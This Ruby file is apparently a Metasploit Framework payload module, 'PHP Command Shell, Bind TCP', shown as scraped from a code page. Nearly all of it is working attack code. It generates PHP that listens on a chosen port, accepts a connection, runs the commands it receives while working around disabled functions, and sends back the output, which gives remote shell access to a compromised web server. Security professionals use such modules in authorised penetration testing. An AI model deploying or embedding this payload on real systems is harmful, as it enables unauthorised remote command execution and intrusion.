88 lines
2.3 KiB
Ruby
88 lines
2.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'msf/core/payload/php'
|
|
require 'msf/core/handler/bind_tcp'
|
|
require 'msf/base/sessions/command_shell'
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = :dynamic
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Payload::Php
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
def initialize(info = {})
|
|
super(merge_info(info,
|
|
'Name' => 'PHP Command Shell, Bind TCP (via PHP)',
|
|
'Description' => 'Listen for a connection and spawn a command shell via php',
|
|
'Author' => ['egypt', 'diaul <diaul[at]devilopers.org>',],
|
|
'License' => BSD_LICENSE,
|
|
'Platform' => 'php',
|
|
'Arch' => ARCH_PHP,
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
'PayloadType' => 'cmd',
|
|
'Payload' =>
|
|
{
|
|
'Offsets' => { },
|
|
'Payload' => ''
|
|
}
|
|
))
|
|
end
|
|
|
|
#
|
|
# PHP Bind Shell
|
|
#
|
|
def php_bind_shell
|
|
|
|
dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
|
|
shell = <<-END_OF_PHP_CODE
|
|
#{php_preamble({:disabled_varname => dis})}
|
|
$port=#{datastore['LPORT']};
|
|
|
|
$scl='socket_create_listen';
|
|
if(is_callable($scl)&&!in_array($scl,#{dis})){
|
|
$sock=@$scl($port);
|
|
}else{
|
|
$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
|
|
$ret=@socket_bind($sock,0,$port);
|
|
$ret=@socket_listen($sock,5);
|
|
}
|
|
$msgsock=@socket_accept($sock);
|
|
@socket_close($sock);
|
|
|
|
while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
|
|
{
|
|
$o = '';
|
|
$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
|
|
if(FALSE===$c){break;}
|
|
if(substr($c,0,3) == 'cd '){
|
|
chdir(substr($c,3,-1));
|
|
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
|
|
break;
|
|
}else{
|
|
#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
|
|
}
|
|
@socket_write($msgsock,$o,strlen($o));
|
|
}
|
|
@socket_close($msgsock);
|
|
END_OF_PHP_CODE
|
|
|
|
return shell
|
|
end
|
|
|
|
#
|
|
# Constructs the payload
|
|
#
|
|
def generate
|
|
return super + php_bind_shell
|
|
end
|
|
|
|
end
|